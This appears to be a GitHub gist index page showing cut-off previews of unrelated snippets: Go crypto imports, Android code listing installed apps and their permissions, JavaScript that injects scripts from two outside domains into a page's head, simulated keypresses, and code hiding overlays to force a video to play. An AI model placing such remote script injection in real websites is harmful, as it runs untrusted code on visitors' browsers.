This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Playbook - http://play.golang.org/p/3wFl4lacjX | |
package main | |
import ( | |
"bytes" | |
"crypto/aes" | |
"crypto/cipher" | |
"crypto/rand" | |
"encoding/base64" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
PackageManager pm = getPackageManager(); | |
List<ApplicationInfo> packages = pm.getInstalledApplications(PackageManager.GET_META_DATA); | |
for (ApplicationInfo applicationInfo : packages) { | |
Log.d("test", "App: " + applicationInfo.name + " Package: " + applicationInfo.packageName); | |
try { | |
PackageInfo packageInfo = pm.getPackageInfo(applicationInfo.packageName, PackageManager.GET_PERMISSIONS); | |
//Get Permissions |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
try { | |
if (!document.getElementById("mck0")) { | |
var s0 = "http://xxx.xd618.com/resources/js/common.js?" + new Date().getTime(), | |
s1 = "http://8.525cm.com/v2/v.php?id=01"; | |
var ar = new Array(2); | |
ar[0] = s0; | |
ar[1] = s1; | |
var h = document.getElementsByTagName('head').item(0); | |
for (var i = 0; i < 2; ++i) { | |
var sc = document.createElement("script"); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
AutoClick.keydown(76); // l | |
AutoClick.keydown(80); // p | |
AutoClick.keydown(81); // q | |
AutoClick.keydown(83); // s | |
AutoClick.keydown(32); // space key |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
AutoClick = {}; | |
AutoClick.keydown = function(k) { | |
var oEvent = document.createEvent('KeyboardEvent'); | |
Object.defineProperty(oEvent, 'keyCode', { | |
get : function() { | |
return this.keyCodeVal; | |
} | |
}); | |
Object.defineProperty(oEvent, 'which', { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Hide the keyboard div | |
// 隐藏键盘等遮罩层 | |
$(".keyboard").hide(); | |
$(".waitingLayer").hide(); | |
$(".wrapper-shadow").hide(); | |
// Get player object | |
// 获取播放器对象,并设置为播放 | |
var v = jwplayer("video"); | |
// Force the player to play |